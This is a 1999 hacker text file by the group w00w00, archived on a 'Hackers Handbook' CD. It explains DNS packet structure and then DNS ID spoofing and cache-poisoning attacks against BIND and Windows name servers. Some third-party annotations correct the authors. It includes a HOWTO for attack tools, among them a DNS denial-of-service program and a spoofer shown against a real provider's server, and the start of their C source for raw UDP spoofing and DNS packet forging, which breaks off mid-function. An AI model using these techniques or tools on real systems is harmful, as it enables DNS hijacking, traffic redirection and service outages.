home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / w00w00ID.txt < prev    next >
Encoding:
Text File  |  1999-04-11  |  76.1 KB  |  2,573 lines

  1.                            DNS ID Hacking                    
  2.                            --------------
  3.  
  4.                          Brought to you by: 
  5.              Raw-Powa and w00w00 Security Development (WSD)
  6.  
  7.  
  8. --[1]-- DNS ID Hacking Presentation
  9.  
  10. w00w00!
  11. Hi. You might be wondering what DNS ID Hacking (or Spoofing) is.
  12. DNS ID Hacking isn't the usual way of hacking/spoofing (such jizz
  13. or any-erect). This method is based on a vulnerability on DNS Protocol.
  14. This affects several DNS implementations (including WinNT's DNS and BIND,
  15. for example).
  16.  
  17. --[1.1]-- DNS Protocol Mechanism
  18.  
  19. For the first step, you will need to know how the DNS works. We will only
  20. explain the most important parts of this protocol. In order to do that, we
  21. will follow the steps of a DNS request packet from A to Z!
  22.  
  23. 1: The client (bla.bibi.com) sends a request of resolution from the domain
  24. "www.heike.com". To resolve the name, bla.bibi.com uses "ns.bibi.com" for
  25. DNS. Let's take a look at the following diagram:
  26.  
  27. /----------------------------------\
  28. | 111.1.2.123  =  bla.bibi.com     |
  29. | 111.1.2.222  =  ns.bibi.com      |
  30. | format:                          |
  31. | IP_ADDR:PORT->IP_ADDR:PORT       |
  32. | ex:                              |
  33. | 111.1.2.123:2999->111.1.2.222:53 |
  34. \----------------------------------/
  35. ...
  36.   gethostbyname("www.heike.com");
  37. ...
  38.  
  39. [bla.bibi.com]                               [ns.bibi.com] 
  40. 111.1.2.123:1999 --->[?www.heike.com]------> 111.1.2.222:53
  41.  
  42. Here we see our resolution name request from source port 1999, requesting
  43. the resolution from the DNS on port 53.
  44.  
  45. [note: The DNS is always on port 53]
  46.  
  47. Now that ns.bibi.com has received the resolution request from bla.bibi.com,
  48. ns.bibi.com will have to resolve the name, let's look at it...
  49.  
  50. [ns.bibi.com]                                   [ns.internic.net]
  51. 111.1.2.222:53 -------->[dns?www.heike.com]----> 198.41.0.4:53
  52.  
  53. ns.bibi.com asks ns.internic.net, which is the root name server, for the
  54. address of www.heike.com, and if it doesn't have it and sends the request
  55. to a name server which has authority over '.com' domains.
  56.  
  57. >>> it can have the NS record for heike.com, and not the A/CNAME for
  58. >>> www.heike.com (this is the normal case). Also, you're not asking
  59. >>> ns.internic.net, you're asking one of the root servers for 
  60. >>> COM directly. 
  61.  
  62. [note: We ask to internic because it could have this request in its cache]
  63.  
  64. [ns.internic.net]                                       [ns.bibi.com]
  65. 198.41.0.4:53 ------>[ns for.com is 144.44.44.4]------> 111.1.2.222:53
  66.  
  67. Here we can see that ns.internic.net answered to ns.bibi.com (which is the
  68. NS that has authority over the domain bibi.com) with the name server
  69. of for.com (which is the authority over '.com' domains), which has the
  70. IP address 144.44.44.4 [let's call it ns.for.com]. Now our ns.bibi.com
  71. will ask ns.for.com for the address of www.heike.com, but this one
  72. doesn't have it, so it will forward the request to the DNS of heike.com
  73. which has authority over heike.com as shown here:
  74.  
  75. [ns.bibi.com]                                [ns.for.com]
  76. 111.1.2.222:53 ------>[?www.heike.com]-----> 144.44.44.4:53
  77.  
  78. The answer from ns.for.com is:
  79.  
  80. [ns.for.com]                                              [ns.bibi.com]
  81. 144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4]---> 144.44.44.4:53
  82.  
  83. Now that we know which IP address has authority on the domain "heike.com"
  84. [we'll call it ns.heike.com], we ask it what the IP address of the machine
  85. www (www.heike.com) is:
  86.  
  87. [ns.bibi.com]                              [ns.heike.com]
  88. 111.1.2.222:53 ----->[?www.heike.com]----> 31.33.7.4:53
  89.  
  90. And now at least, we have our answer:
  91.  
  92. [ns.heike.com]                                           [ns.bibi.com]
  93. 31.33.7.4:53 ------->[www.heike.com == 31.33.7.44] ----> 111.1.2.222:53
  94.  
  95. We can now forward it to our client bla.bibi.com:
  96.  
  97. [ns.bibi.com]                                             [bla.bibi.com]
  98. 111.1.2.222:53 ------->[www.heike.com == 31.33.7.44]----> 111.1.2.123:1999
  99.  
  100. Now bla.bibi.com knows the IP address of www.heike.com :)
  101.  
  102. So.. now let's imagine the opposite; that we'd like to have the name of a
  103. machine from its IP address. In order to do that, the way to proceed will
  104. be a little different because the IP address will have to be transformed:
  105.  
  106. Example: 
  107. 100.20.40.3 will become 3.40.20.100.in-addr.arpa
  108.  
  109. Attention!! This method is only for the IP resolution request (reverse DNS)
  110.  
  111. So let's look at practical example when we take the IP of www.heike.com
  112. (31.33.7.44 or "44.7.33.31.in-addr.arpa" after the translation into a
  113. comprehensible format for the DNS).
  114.  
  115. ...
  116.    gethostbyaddr("31.33.7.44");
  117. ...
  118.  
  119.  
  120. We send our request to ns.bibi.com (our name server):
  121.  
  122. [bla.bibi.com]                                          [ns.bibi.com]
  123. 111.1.2.123:2600 ----->[?44.7.33.31.in-addr.arpa]-----> 111.1.2.222:53
  124.  
  125. ns.bibi.com sends the request for the name of machine that is
  126. 44.7.33.31.in-addr.arpa to ns.internic.net:
  127.  
  128. [ns.bibi.com]                                          [ns.internic.net]
  129. 111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 198.41.0.4:53 
  130.  
  131. ns.internic.net will send the IP address of a name server which has
  132. authority on '31.in-addr.arpa':
  133.  
  134. [ns.internic.net]                                            [ns.bibi.com]
  135. 198.41.0.4:53 --> [NS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53
  136.  
  137. Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4:
  138.  
  139. [ns.bibi.com]                                          [ns.for.com]
  140. 111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53
  141.  
  142. And so on...
  143. In fact the mechanism is almost identical to the one used for name
  144. resolution.
  145.  
  146. I hope you understood the dialog on how DNS works. Now let's study DNS
  147. messages format.
  148.  
  149. --[1.2]-- DNS packet 
  150.  
  151. Here is the format of a DNS message :
  152.     +---------------------------+---------------------------+
  153.     |     ID (the famous :)     |  flags                    |
  154.     +---------------------------+---------------------------+
  155.     |   numbers of questions    | numbers of answer         |
  156.     +---------------------------+---------------------------+
  157.     | number of RR authority  |number of supplementary RR |
  158.     +---------------------------+---------------------------+
  159.     |                                                       |
  160.     \                                                       \
  161.     \                   QUESTION                            \
  162.     |                                                       |
  163.     +-------------------------------------------------------+
  164.     |                                                       |
  165.     \                                                       \
  166.     \                    ANSWER                             \
  167.     |                                                       |
  168.     +-------------------------------------------------------+
  169.     |                                                       |
  170.     \                                                       \
  171.     \                  Stuff  etc..    No matter            \
  172.     |                                                       |
  173.     +-------------------------------------------------------+
  174.  
  175. --[1.3]--  Structure of DNS packets.
  176.  
  177. __ID__
  178. The ID is to identify each DNS packet, since exchanges between name
  179. servers are from port 53 to port 53, and it receive more than one
  180.  
  181. >>> not necessarilly; DNS is allowed to bind any client port, and the
  182. >>> DNS ID is also needed for asynchronous client resolvers (which
  183. >>> might need to make more than one simultaneous query)
  184.  
  185. request at a time, so the ID is the only way to recognize the different DNS
  186. requests. We'll talk about it a little more later..
  187.  
  188. __flags__
  189. The flags area is divided into several parts:
  190.  
  191.        4 bits                    3 bits (always 0)
  192.        |                         |
  193.        |                         |
  194. [QR | opcode | AA| TC| RD| RA | zero | rcode ]
  195.                                          |
  196.  |           |__|__|__|                  |______ 4 bits
  197.  |                    |_ 1 bit
  198.  |
  199. 1 bit
  200.  
  201. QR     = If the QR bit is 0, it means that the packet is a question,
  202.          otherwise it's an answer.
  203.  
  204. opcode = If the value is 0 for a normal request, 1 for a reserve request,
  205.          and 2 for a status request (we don't need to know all these modes).
  206.  
  207. AA     = If it is equal to 1, it says that the name server has an
  208.          authoritative answer.
  209.  
  210. TC     = This is unimportant.
  211.  
  212. RD     = If this flag is to 1, it means "Recursion Request", for example
  213.          when bla.bibi.com asks ns.bibi.com to resolve the name, the flag
  214.          tells the DNS to assume this request.
  215.  
  216. RA     = If this is set to 1, it means that recursion is available.
  217.          This bit is set to 1 in the answer of the name server if it
  218.          supports recursion.
  219.  
  220. Zero   = Here are three zeroes...
  221.  
  222. rcode  = It contains the error messages returned from DNS requests.
  223.          If 0, it means "no error", 3 means "name error"
  224.  
  225. The 2 following flags don't have any importance to us.
  226.  
  227. DNS QUESTION:
  228.  
  229. Here is the format of a DNS question :
  230.  
  231. +-----------------------------------------------------------------------+
  232. |                        name of the question                           |
  233. +-----------------------------------------------------------------------+
  234. |       type of question         |      type of query                   |
  235. +--------------------------------+--------------------------------------+
  236.  
  237. The structure of the question is like this.
  238.  
  239. Example:
  240. www.heike.com is [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] 
  241. This is always the same for an IP address.
  242.  
  243. This splits www.heike.com into three parts: "www", "heike", and "com". The
  244. number in front of each part specifies the length. It is also terminated
  245. by 0.
  246.  
  247. 44.33.88.123.in-addr.arpa would be:
  248. [2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0]
  249. [note]: a compression format exists, but we won't use it.
  250.  
  251.  
  252. type of question:
  253.  
  254.  Here are the values that we will use most of the time:
  255.  [note]: There are more than 20 types of different values(!) and I'm fed
  256.          up with writing :))
  257.  
  258.   name    value
  259.    A    |   1    | IP Address          (for resolving a name to an IP)
  260.    PTR  |   12   | Pointer             (for resolving an IP to a name)
  261.  
  262.  
  263. type of query:
  264.  
  265.  The values are the same as the type of question's values (I'm not sure
  266. it's true, but you should look through RFCs 1033-1035 and 1037).
  267.  
  268.  
  269.  
  270. DNS ANSWER:
  271.  
  272. The answers have a format that we call RR.
  273.  
  274. Here is the format of an answer (an RR):
  275.  
  276. +------------------------------------------------------------------------+
  277. |      name of the domain                                                |
  278. +------------------------------------------------------------------------+
  279. |   type                           |    class                            |
  280. +----------------------------------+-------------------------------------+
  281. |                           TTL (time to live)                           |
  282. +------------------------------------------------------------------------+
  283. | resource data length       |                                           |
  284. |----------------------------+                                           |
  285. |                       resource data                                    |
  286. +-------------------------------------------------------------------------
  287.  
  288. name of the domain:
  289.  
  290. The domain name is stored in the same way that the question for the
  291. resolution request of www.heike.com. The flag "name of the domain" will
  292. contain: [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0].
  293.  
  294. type:
  295.  
  296. The type flag is the same than "type of query" in the question part of the
  297. packet.
  298.  
  299. class:
  300. The class flag is equal to 1 for Internet data.
  301.  
  302. time to live:
  303. This flag explains in seconds the time-life of the informations into the
  304. name server cache.
  305.  
  306. resource data length: 
  307. The length of resource data, for example if resource data length is 4, it
  308. means that the data in resources data are 4 bytes long.
  309.  
  310. resource data:  
  311. here we put the IP for example (at least in our case)
  312.  
  313. As an example, this is what occurs when ns.bibi.com asks ns.heike.com for 
  314. www.heike.com's address:
  315.  
  316. ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 
  317.  
  318. +---------------------------------+--------------------------------------+
  319. |   ID = 1999                     | QR = 0 opcode = 0 RD = 1             |
  320. +---------------------------------+--------------------------------------+
  321. | numbers of questions = htons(1) | numbers of answers = 0               |
  322. +---------------------------------+--------------------------------------+
  323. | number of RR authoritative = 0  | number of supplementary RR = 0       |
  324. +---------------------------------+--------------------------------------+
  325.  <the question part>                             
  326. +------------------------------------------------------------------------+
  327. |   name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]               |
  328. +------------------------------------------------------------------------+
  329. |  type of question = htons(1)    |      type of query=htons(1)          |
  330. +---------------------------------+--------------------------------------+
  331.  
  332. Now let's look at the answer from ns.heike.com:
  333.  
  334. ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53
  335.  
  336. +---------------------------------+---------------------------------------+
  337. |   ID = 1999                     | QR=1 opcode=0 RD=1  AA =1  RA=1       |
  338. +---------------------------------+---------------------------------------+
  339. | numbers of questions = htons(1) | numbers of answers = htons(1)         |
  340. +---------------------------------+---------------------------------------+
  341. | number of RR authoritative = 0  | number of supplementary RR = 0        |
  342. +---------------------------------+---------------------------------------+
  343. +-------------------------------------------------------------------------+
  344. |   name  of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]               |
  345. +-------------------------------------------------------------------------+
  346. |   type of question = htons(1)   |      type of query = htons(1)         |
  347. +-------------------------------------------------------------------------+
  348. +-------------------------------------------------------------------------+
  349. |   name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]                  |
  350. +-------------------------------------------------------------------------+
  351. |       type        = htons(1)    |      class    = htons(1)              |
  352. +-------------------------------------------------------------------------+
  353. |                       time to live = 999999                             |
  354. +-------------------------------------------------------------------------+
  355. | resource data length = htons(4) | resource data=inet_addr("31.33.7.44") |
  356. +-------------------------------------------------------------------------+
  357.  
  358. Yah! That's all for now :))
  359.  
  360. Here is an analysis:
  361. In the answer QR = 1 because it's an answer :)
  362. AA = 1 because the name server has authority in its domain
  363. RA = 1 because recursion is available
  364.  
  365. I hope you understood that because you will need it for the following
  366. events.
  367.  
  368. --[2.0]-- DNS ID hack/spoof
  369.  
  370. Now it's time to clearly explain what DNS ID hacking/spoofing is.
  371. Like we explained before, the only way for the DNS to recognize the
  372. different questions/answers is the ID flag in the packet. Look at this
  373. example:
  374.  
  375. ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53
  376.  
  377. So you only have to spoof the ip of ns.heike.com and answer your false
  378. information before ns.heike.com does first!
  379.  
  380. ns.bibi.com <------- . . . . . . . . . . .  ns.heike.com 
  381.                    |
  382.                    |<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com 
  383.  
  384. But in practice you have to guess the good ID. If you are on a LAN, you
  385. can sniff to get this ID and answer before the name server (it's easy on a
  386. Local Network :)
  387.  
  388. If you want to do this remotely you don't have a lot a choices, but you
  389. do have 4 basic methods:
  390.  
  391. 1.) Randomly test all the possible values of the ID flag. You must answer
  392.     before the NS (ns.heike.com in this example)! This method is obsolete
  393.     unless you want to know the ID or any other favorable condition to
  394.     its prediction.
  395.  
  396. >>> This method is not obsolete --- it's how real attacks work. It
  397.     takes less than a minute on a DS1 to exhaustively search all the
  398.     ID's, and if you flood (or crash) the authority servers for the
  399.     resource record you're trying to inject, you have all the time 
  400.     in the world to do it. This is the problem that the current DNS
  401.     protocol can't fix.
  402.  
  403. 2.) Send some DNS requests (200 or 300) in order to increase the chances
  404.     of falling on the good ID.
  405.  
  406. >>> This is analogous to using 200 or 300 responses (both consume ID 
  407.     space), except that naieve DNS servers might not detect 300 queries,
  408.     even if they do detect 300 wrong answers.
  409.  
  410. 3.) Flood the DNS in order to avoid its work. The name server will crash
  411.     and show the following error!
  412.  
  413.     >> Oct 06 05:18:12 w00w00 named[1913]: db_free: DB_F_ACTIVE set - ABORT
  414.        at this time named is out of order :)
  415.  
  416. 4.) Or you can use the vulnerability in BIND discovered by SNI (Secure
  417.     Networks, Inc.) with ID prediction (we will discuss this in a bit).  
  418.  
  419.  
  420. ##################### Windows ID Vulnerability ###########################
  421.  
  422. I haven't tested this on WinNT, but Windows ID's are extremely easy to
  423. predict because it is '1' by  default, and '2' for the second question (if
  424. they are 2 questions at the same time).
  425.  
  426.  
  427. ######################## BIND Vulnerability ##############################
  428.  
  429. There is a vulnerability in BIND (discovered by SNI as stated earlier)
  430.  
  431. >>> we didn't discover this; it's old news. We released an advisory on
  432. >>> how much easier it is to exploit than the old papers let on. 
  433.  
  434. that we will be using. In fact, DNS IDs are easily predictable; you only
  435. have to sniff a DNS in order to do what you want. Let me explain...
  436.  
  437. The DNS uses a random ID at the beginning but it only increases this ID
  438. for the next question.
  439.  
  440. It's easy to exploit this vulnerability.
  441. Here is the way:
  442.  
  443. 1. Be able to sniff easily the messages that comes to a random DNS (ex.
  444.    ns.dede.com for this sample).
  445.  
  446. 2. You ask NS.victim.com to resolve <whatever>.dede.com, and NS.victim.com
  447.    will ask ns.dede.com to resolve <random>.dede.com
  448.  
  449.    ns.victim.com ---> [?<random>.dede.com ID = 444] ---> ns.dede.com
  450.  
  451. 3. Now we have the ID of the message from NS.victim.com, now you know what
  452.    ID area you'll have to use. (ID = 444 in this sample).
  453.  
  454. 4. You then make your resolution request. ex. www.microsoft.com to
  455.    NS.victim.com
  456.    
  457.    (you) ---> [?www.microsoft.com] ---> ns.victim.com
  458.  
  459.    ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com
  460.      
  461. 5. Flood the name server ns.victim.com with the ID (444) you already have and
  462.    then you increase this by one.
  463.  
  464.  ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com
  465.  ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com
  466.  ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com
  467.  ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com
  468.  ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com
  469.  ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com
  470.  
  471.  
  472. Now you know that DNS IDs are predictable, and they only increase. You
  473. flood ns.victim.com with spoofed answers with the ID 444+ ;)
  474.  
  475. >>> That's not true on OpenBSD (random scoreboarded IDs). 
  476.  
  477. [Note: WSDspoofID does this]
  478.  
  479. There is another way to exploit this vulnerability without a root on
  480. any NS.
  481.  
  482. The mechanism is very simple. Here is the explanation:
  483.  
  484. We send to ns.victim.com a resolution request for *.provnet.fr
  485.  
  486. (you) ----------[?(random).provnet.fr] -------> ns.victim.com
  487.  
  488. Then, ns.victim.com asks ns1.provnet.fr to resolve <random>.provnet.fr.
  489. There is nothing new here, but this is where the interesting part begins
  490. here.
  491.  
  492. At this point you begin to flood ns.victim.com with spoofed answers
  493. (with ns1.provnet.fr IP) with IDSs from 100 to 110:
  494.  
  495. (spoof) ----[<random>.provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com 
  496. (spoof) ----[<random>.provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com 
  497. (spoof) ----[<random>.provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com 
  498. (spoof) ----[<random>.provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com 
  499. ...
  500.  
  501. After that, we ask ns.victim.com if <random>.provnet.fr has an IP address.
  502.  
  503. If ns.victim.com give us an IP address for <random>.provnet.fr then we
  504. have found the correct! Otherwise, we have to repeat this attack until
  505. we find the ID. It's a bit long but it's effective. 
  506.  
  507. [Note: This is how WSD-IDpred works]
  508.  
  509.  
  510. ########################################################################## 
  511.  
  512. Here you will find 5 programs
  513. WSDkillDNS   - very simple DNS spoofer
  514. WSDsniffID   - sniff a LAN and reply false DNS answers before the NS
  515. WSDspoofID   - a DNS ID spoofer (you'll need to be root on a NS)
  516. WSD-IDpred   - a DNS ID predictor (no need to be root on a NS)
  517. WSD-baddns   - a very simple denial of service attack to disable DNS
  518.  
  519. Note: You can find source and binaries of these programs at 
  520. ftp.w00w00.org/pub/DNS. You need to install libpcap on your machine before
  521. any compilation of the w00w00 ID programs.
  522.  
  523.  
  524. - w00w00 Security Development (WSD)
  525.   See http://www.w00w00.org and ftp://ftp.w00w00.org/pub
  526.  
  527. Thanks to: pirus, Heike, and all of w00w00 Security Development (WSD),
  528. and Asriel.
  529.  
  530. Special Thanks to: ackboo and Secure Networks, Inc. (SNI) at 
  531. www.secnet.com for finding the vulnerability.
  532.  
  533. /* I'm a w00w00ify'd w00c0w */
  534.  
  535.  
  536. Here is a HOWTO on the w00w00 ID tools:
  537. ----[HOWTO]----
  538.  
  539. I've decided to make a little HOWTO because the w00w00 ID tools are not
  540. very user friendly for a beginner :)
  541.  
  542. 1: WSD-baddns
  543. WSD-baddns is a program to destroy the DNS.
  544.  
  545. It's very, very simple to use !!! :) 
  546.  
  547. /* I'm a w00w00ify'd w00c0w */
  548.  
  549. Usage: WSD-baddns <victim>
  550. Example: WSD-baddns bob.lenet.fr
  551.  
  552.  
  553.  
  554. 2: WSDsniffID 
  555. WSDsniffID is a DNS hijacker. You need to have root privileges. It's
  556. for a LAN only :)
  557.  
  558. Usage:  
  559. WSDsniffID <device> <spoof IP> <spoof NAME> [type 1 or 12 ] 
  560.  
  561. '' by type we mean 1 = TYPE A  12 = TYPE PTR ''
  562.  
  563. Example:
  564. WSDsniffID eth0 31.3.3.7 www.i.m.mucho.horny.ya 12 (We are hijacking a PTR)
  565.  
  566. So now if someone runs "nslookup <one ip>" on a network they have: 
  567.  
  568. [root@w00w00 w0w0w]# nslookup  1.2.3.4
  569. Server:  localhost
  570. Address:  127.0.0.1
  571.  
  572. Name:    www.i.m.mucho.horny.ya
  573. Address:  1.2.3.4
  574.  
  575.  
  576.  
  577. 3: --= WSDspoofID =--
  578.  
  579. 1) Before you need root on a NS with AUTH over a domain (for example
  580. shok.janova.org has authority over *.janova.org)
  581.  
  582. WSDspoofID is a DNS ID predictor  (but you need to have root on a NS or
  583. you need to the privileges to sniff the NS)
  584.  
  585. Usage:
  586. WSDspoofID <device to spoof> <NS victim> <your domain> <ip of your dns>
  587. <type (1,12)> <spoof name> <spoof ip> <ns with auth on spoof ip or name>
  588.  
  589. Example:
  590. WSDspoofID ppp0 NS2.MCI.NET janova.org shok.janova.org 12 
  591.            www.i.m.ereet.ya 194.206.23.123  ns2.provnet.fr ..
  592.  
  593.  
  594. Well after that when you ask NS2.MCI.NET for 194.206.23.123 you have:
  595.  
  596. [root@w00w00 w0w0w]# nslookup 194.206.23.123  ns2.mci.net
  597. Server:  ns2.mci.net
  598. Address:  204.70.57.242
  599.  
  600. Name:    www.i.m.ereet.ya
  601. Address:  194.206.23.123
  602.  
  603. [root@w00w00 w0w0w]#
  604.  
  605. We will use ns2.provnet.fr because ns2.provnet.fr has AUTH on 194.206.23.* 
  606.  
  607. To find out who has AUTH on 194.206.23.*, you just need to do the
  608. following:
  609.  
  610. [root@w00w00 w0w0w]# host -t NS 23.206.194.in-addr.arpa
  611. 23.206.194.in-addr.arpa name server NS2.PROVNET.FR
  612. 23.206.194.in-addr.arpa name server BOW.RAIN.FR
  613. 23.206.194.in-addr.arpa name server NS1.PROVNET.FR
  614. [root@w00w00 w0w0w]#
  615.  
  616. To find out the NS who haas AUTH on, for example, *.provnet.fr:
  617.  
  618. [root@w00w00 w0w0w]# host -t NS provnet.fr
  619. provnet.fr name server NS1.provnet.fr
  620. provnet.fr name server BOW.RAIN.fr
  621. provnet.fr name server NS2.provnet.fr
  622. [root@w00w00 w0w0w]#
  623.  
  624. Note: The entry can change!!! You can get NS1 first.
  625.  
  626.  
  627. Here is the source... to our programs
  628.  
  629. ----[ BUGS ]----
  630. 1: The bit field on Solaris causes a bus error..
  631.    We will fix it soon
  632. ----[END of BUGS ]----
  633.  
  634.  
  635. ----[WSD-spoof.c]----
  636. /* ******************************************************************** */
  637. /*  w00w00 functions for spoofing UDP                                   */
  638. /*  ------------------------------------------------------------------- */
  639. /*  w00w00 Security Development (WSD)                    */ 
  640. /*  Email: WSD@w00w00.org                        */
  641. /*  Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub              */
  642. /* ******************************************************************** */
  643.   
  644. #include <stdio.h>
  645. #include <netdb.h>
  646. #include <stdlib.h>
  647. #include <unistd.h>
  648. #include <memory.h>
  649. #include <string.h>
  650. #include <sys/wait.h>
  651. #include <sys/stat.h>
  652. #include <sys/types.h>
  653. #include <sys/ioctl.h>
  654. #include <sys/socket.h>
  655. #include <netinet/in.h>
  656. #include "ip.h"
  657. #include "udp.h"
  658.  
  659. #define IPHDRSIZE     sizeof(struct iphdr)
  660. #define UDPHDRSIZE    sizeof(struct udphdr)
  661.  
  662. /*****************************************************************************/
  663. /*
  664.  * in_cksum --
  665.  *  Checksum routine for Internet Protocol family headers (C Version)
  666.  */
  667. /*****************************************************************************/
  668.  
  669. unsigned short in_cksum(addr, len)
  670.     u_short *addr;
  671.     int len;
  672. {
  673.     register int nleft = len;
  674.     register u_short *w = addr;
  675.     register int sum = 0;
  676.     u_short answer = 0;
  677.  
  678.     /*
  679.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  680.      * sequential 16 bit words to it, and at the end, fold back all the
  681.      * carry bits from the top 16 bits into the lower 16 bits.
  682.      */
  683.  
  684.     while (nleft > 1)  {
  685.         sum += *w++;
  686.         nleft -= 2;
  687.     }
  688.  
  689.     /* mop up an odd byte, if necessary */
  690.     if (nleft == 1) {
  691.         *(u_char *)(&answer) = *(u_char *)w ;
  692.         sum += answer;
  693.     }
  694.  
  695.     /* add back carry outs from top 16 bits to low 16 bits */
  696.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  697.     sum += (sum >> 16);                 /* add carry           */
  698.     answer = ~sum;                      /* truncate to 16 bits */
  699.     return(answer);
  700.  
  701. }
  702.  
  703.  
  704.  
  705. int udp_send(s, saddr, daddr, sport, dport, datagram, datasize)      
  706.   int s;
  707.   unsigned long  saddr;
  708.   unsigned long  daddr;
  709.   unsigned short sport;
  710.   unsigned short dport;
  711.   char     *datagram;
  712.   unsigned datasize;
  713. {
  714.  
  715.   int x;
  716.  
  717.   unsigned char *data;
  718.   unsigned char packet[4024];
  719.  
  720.   struct iphdr  *ip;
  721.   struct udphdr *udp;
  722.   struct sockaddr_in sin;
  723.  
  724.  
  725.   ip   = (struct iphdr  *)packet; 
  726.   udp  = (struct udphdr *)(packet+IPHDRSIZE);
  727.   data = (unsigned char *)(packet+IPHDRSIZE+UDPHDRSIZE);
  728.        
  729.   memset(packet, 0, sizeof(packet));
  730.  
  731.   udp->source = htons(sport); 
  732.   udp->dest   = htons(dport);
  733.   udp->len    = htons(UDPHDRSIZE+datasize);
  734.   udp->check  = 0;         
  735.  
  736.   memcpy(data, datagram, datasize);        
  737.   memset(packet, 0, IPHDRSIZE);
  738.         
  739.   ip->saddr.s_addr  = saddr;
  740.   ip->daddr.s_addr  = daddr;
  741.   ip->version  = 4;
  742.   ip->ihl      = 5;
  743.   ip->ttl      = 245;
  744.   ip->id       = random() % 5985 + 1; 
  745.   ip->protocol = IPPROTO_UDP;
  746.   ip->tot_len  = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
  747.   ip->check    = 0;
  748.   ip->check    = in_cksum((char *)packet, IPHDRSIZE);
  749.                                                                         
  750.   sin.sin_family = AF_INET;
  751.   sin.sin_addr.s_addr=daddr;
  752.   sin.sin_port = udp->dest;
  753.     
  754.   x = sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, 
  755.                 (struct sockaddr*)&sin, sizeof(struct sockaddr));
  756.  
  757.   return(x);
  758. }
  759.  
  760.  
  761.  
  762. /*****************************************************************************/
  763. /*                     RECV PAKET                                            */
  764. /* get_pkt(socket, *buffer, size of the buffer);                             */
  765. /*****************************************************************************/
  766.  
  767. int get_pkt(s, data, size)
  768.   int s;
  769.   unsigned char *data;
  770.   int size;
  771. {
  772.  struct sockaddr_in sin;
  773.  int len, resu;
  774.  
  775.  len = sizeof(sin);
  776.  resu = recvfrom(s, data, size, 0, (struct sockaddr *)&sin, &len);
  777.  
  778.  return resu;
  779. }        
  780. ----[END of WSD-spoof.c]----
  781.  
  782.  
  783. ----[WSD-DNS2.c]----
  784. /* ****************************************************** */
  785. /* w00w00 code for DNS packets                 Super Raw  */
  786. /* ------------------------------------------------------ */
  787. /* w00w00 Security Development (WSD)                      */
  788. /* Email: WSD@w00w00.org                      */
  789. /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub */
  790. /* ****************************************************** */
  791.  
  792. #define   ERROR      -1
  793. #define   TYPE_A      1
  794. #define   TYPE_PTR   12
  795. #define   MAXLEN     64
  796. #define   DNSHDRSIZE 12
  797.  
  798. int myrand()
  799. {
  800.   int j = 1 + (int)(150.0 * rand() / (RAND_MAX + 1.0));
  801.   return(j);
  802. }
  803.  
  804.  
  805. unsigned long host2ip(char *serv)
  806. {
  807.   struct hostent *hent;
  808.   struct sockaddr_in sinn;
  809.       
  810.   hent = gethostbyname(serv);
  811.   if (hent == NULL) {
  812.      herror("gethostbyname");
  813.      exit(ERROR);
  814.   }
  815.   
  816.   bzero((char *)&sinn, sizeof(sinn));
  817.   bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length);
  818.   
  819.   return sinn.sin_addr.s_addr;
  820.  }
  821.  
  822.   
  823.  
  824. void nameformat(char *name, char *qs)
  825. {
  826.   int i;
  827.   int a = 0;
  828.  
  829.   char lol[3000];
  830.   char tmp[2550], tmp2[2550];
  831.  
  832.   if (strlen(name) > sizeof(tmp) - 1) {
  833.      fprintf(stderr, "nameformat(): name too long: %s\n", name);
  834.      exit(ERROR);
  835.   } 
  836.  
  837.   bzero(lol,  sizeof(lol));
  838.   bzero(tmp,  sizeof(tmp));
  839.   bzero(tmp2, sizeof(tmp2));
  840.  
  841.   for (i = 0; i < strlen(name); i++) {
  842.      if (*(name+i) == '.') {
  843.         sprintf(tmp2, "%c%s", a, tmp); 
  844.         strcat(lol, tmp2);
  845.           
  846.         bzero(tmp,  sizeof(tmp));
  847.         bzero(tmp2, sizeof(tmp2));
  848.          
  849.         a = 0;
  850.      } else  
  851.         tmp[a++] = *(name+i);
  852.   }
  853.        
  854.   sprintf(tmp2, "%c%s", a, tmp);
  855.  
  856.   strcat(lol, tmp2);
  857.   strcpy(qs,  lol);
  858.  }     
  859.  
  860. void nameformatIP(char *ip, char *resu)
  861. {
  862.   int i, a = 3, k = 0;
  863.  
  864.   char c;
  865.   char *A[4];
  866.   char nameform[256];
  867.   char tmp[256], tmp1[256];
  868.   char *arpa = "in-addr.arpa";
  869.  
  870.   if (strlen(ip) > sizeof(nameform) - 1) {
